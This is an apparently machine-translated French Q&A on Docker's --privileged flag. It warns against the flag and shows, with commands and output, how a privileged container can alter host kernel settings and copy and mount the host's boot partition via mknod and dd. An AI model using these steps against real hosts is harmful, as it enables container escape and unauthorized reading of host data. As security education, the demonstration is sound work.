Conteneurs et capacités privilégiés
Si j'exécute un conteneur en mode privilégié, dispose-t-il de toutes les fonctionnalités du noyau ou dois-je les ajouter séparément?
L'exécution en mode privilégié donne en effet au conteneur toutes les capacités. Cependant, il est recommandé de toujours donner à un conteneur les exigences minimales dont il a besoin.
Si vous examinez les documents Docker, ils se réfèrent également à cet indicateur:
Capacité totale du conteneur (--privileged)
L'indicateur --privileged donne toutes les fonctionnalités au conteneur et lève également toutes les limitations imposées par le contrôleur de groupe de contrôle de périphérique. En d'autres termes, le conteneur peut alors faire presque tout ce que l'hôte peut faire. Cet indicateur existe pour permettre des cas d'utilisation spéciaux, tels que l'exécution de Docker dans Docker.
Vous pouvez attribuer des fonctionnalités spécifiques à l'aide de l'indicateur _--cap-add_. Voir man 7 capabilities pour plus d'informations sur ces fonctionnalités. Les noms littéraux peuvent être utilisés, par exemple _--cap-add CAP_FOWNER_.
Vous ne voulez jamais exécuter un conteneur en utilisant --privileged.
Je le fais sur mon ordinateur portable équipé de disques NVMe, mais cela fonctionnera pour tout hôte:
docker run --privileged -t -i --rm ubuntu:latest bash
Commençons par faire quelque chose de mineur pour tester le système de fichiers/proc
Du conteneur:
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60
root@507aeb767c7e:/# echo "61" > /proc/sys/vm/swappiness
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness
60
OK, est-ce que cela a changé pour le conteneur ou pour l'hôte?
$ cat /proc/sys/vm/swappiness
61
OOPS! Nous pouvons modifier arbitrairement les paramètres du noyau des hôtes. Mais ceci est juste une situation DOS, voyons si nous pouvons collecter des informations privilégiées auprès de l'hôte parent.
Permet de parcourir l’arborescence /sys et de trouver le numéro mineur majeur du disque d’amorçage.
Remarque: j'ai deux lecteurs NVMe et les conteneurs s'exécutent sous LVM sur un autre lecteur
root@507aeb767c7e:/proc# cat /sys/block/nvme1n1/dev
259:2
OK, créons un fichier de périphérique à un emplacement où les règles dbus ne seront pas auto-analysées:
root@507aeb767c7e:/proc# mknod /devnvme1n1 b 259 2
root@507aeb767c7e:/proc# sfdisk -d /devnvme1n1
label: gpt
label-id: 1BE1DF1D-3523-4F22-B22A-29FEF19F019E
device: /devnvme1n1
unit: sectors
first-lba: 34
last-lba: 2000409230
<SNIP>
OK, on peut lire le disque d’amorçage, permet de créer un fichier de périphérique pour l’une des partitions. Bien que nous ne puissions pas le monter car il sera ouvert, nous pouvons toujours utiliser dd pour le copier.
root@507aeb767c7e:/proc# mknod /devnvme1n1p1 b 259 3
root@507aeb767c7e:/# dd if=devnvme1n1p1 of=foo.img
532480+0 records in
532480+0 records out
272629760 bytes (273 MB, 260 MiB) copied, 0.74277 s, 367 MB/s
OK, montons-le et voyons si nos efforts ont fonctionné !!!
root@507aeb767c7e:/# mount -o loop foo.img /foo
root@507aeb767c7e:/# ls foo
EFI
root@507aeb767c7e:/# ls foo/EFI/
Boot Microsoft ubuntu
Donc, fondamentalement, tout hôte conteneur sur lequel vous autorisez n'importe qui à lancer un conteneur --privileged revient à un accès racine à tous les conteneurs de cet hôte.
Malheureusement, le projet Docker a choisi le modèle informatique de confiance et, en dehors des plug-ins auth, il n'y a aucun moyen de se protéger contre cela. Il faut donc toujours se tromper en ajoutant des fonctionnalités nécessaires plutôt qu'en utilisant --privileged.
Il y a n bon article de RedHat sur ce sujet .
Bien que le conteneur docker qui s'exécute en tant que "root" ait moins de privilèges que root sur l'hôte, il peut encore être nécessaire de le durcir en fonction de votre cas d'utilisation (utilisation comme environnement de développement ou cluster de production partagé).